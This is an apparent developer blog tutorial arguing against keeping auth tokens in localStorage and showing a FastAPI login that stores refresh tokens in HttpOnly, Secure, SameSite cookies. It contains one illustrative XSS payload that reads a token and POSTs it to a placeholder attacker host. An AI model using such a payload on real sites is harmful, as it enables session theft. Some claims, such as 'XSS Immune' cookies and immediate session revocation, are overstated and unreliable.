Browse through modern web development tutorials, and you will see the same recurring pattern in React, Vue, and Next.js guides:
// A common but dangerous pattern:
const response = await api.login(email, password);
localStorage.setItem('access_token', response.data.token);
It feels simple, works across tabs, and seems convenient. But in production, storing sensitive authentication credentials in window.localStorage creates a critical security vulnerability.
In this article, we will examine why localStorage is fundamentally flawed for session storage and walk through the industry-standard architecture: In-Memory Access Tokens backed by HttpOnly, SameSite Refresh Cookies.
The Vulnerability: Cross-Site Scripting (XSS)
localStorage has zero access controls against JavaScript running on your origin. Any script running on your webpage—whether it is your code, an analytics tag, or an infected npm dependency—can read localStorage:
// Attacker's XSS payload:
const stolenToken = localStorage.getItem('access_token');
fetch('https://attacker-c2.com/harvest', {
method: 'POST',
body: JSON.stringify({ token: stolenToken })
});
If an attacker injects a single snippet of malicious JavaScript, every user's session token can be exfiltrated within milliseconds.
The Superior Pattern: HttpOnly Cookies + In-Memory Tokens
To protect tokens from JavaScript access, web browsers provide the HttpOnly cookie flag. When a cookie has the HttpOnly flag:
- The browser automatically attaches it to outgoing HTTP requests to the target domain.
-
JavaScript code CANNOT read or manipulate the cookie.
document.cookiereturns nothing!
+--------------------------------------------------------------------+
| Secure Token Flow: |
| |
| 1. Short-Lived Access Token (15 min) -> Stored in JS MEMORY ONLY |
| 2. Long-Lived Refresh Token (7 days) -> Stored in HttpOnly COOKIE |
+--------------------------------------------------------------------+
Implementation: FastAPI Backend
from datetime import datetime, timedelta
from fastapi import FastAPI, HTTPException, Response, Cookie, status
import jwt
SECRET_KEY = "your-ultra-secure-server-secret"
ALGORITHM = "HS256"
app = FastAPI()
def create_jwt(payload: dict, expires_delta: timedelta):
to_encode = payload.copy()
to_encode.update({"exp": datetime.utcnow() + expires_delta})
return jwt.encode(to_encode, SECRET_KEY, algorithm=ALGORITHM)
@app.post("/api/auth/login")
def login(response: Response):
user_id = "user_42"
# 1. Short-lived Access Token (15 mins)
access_token = create_jwt({"sub": user_id, "type": "access"}, timedelta(minutes=15))
# 2. Long-lived Refresh Token (7 days)
refresh_token = create_jwt({"sub": user_id, "type": "refresh"}, timedelta(days=7))
# 3. Store Refresh Token in HttpOnly, SameSite, Secure Cookie
response.set_cookie(
key="refresh_token",
value=refresh_token,
httponly=True, # Inaccessible to JavaScript (XSS Immune!)
secure=True, # Only sent over HTTPS
samesite="lax", # Protects against CSRF
max_age=7 * 24 * 3600,
path="/api/auth/refresh" # Only sent to the refresh endpoint!
)
return {"access_token": access_token, "expires_in": 900}
Security Takeaway
By moving tokens out of localStorage:
- Malicious scripts cannot harvest session keys.
-
SameSite=LaxorStrictprevents Cross-Site Request Forgery (CSRF). - Rotating refresh tokens ensures that any revoked user session terminates immediately.

Top comments (0)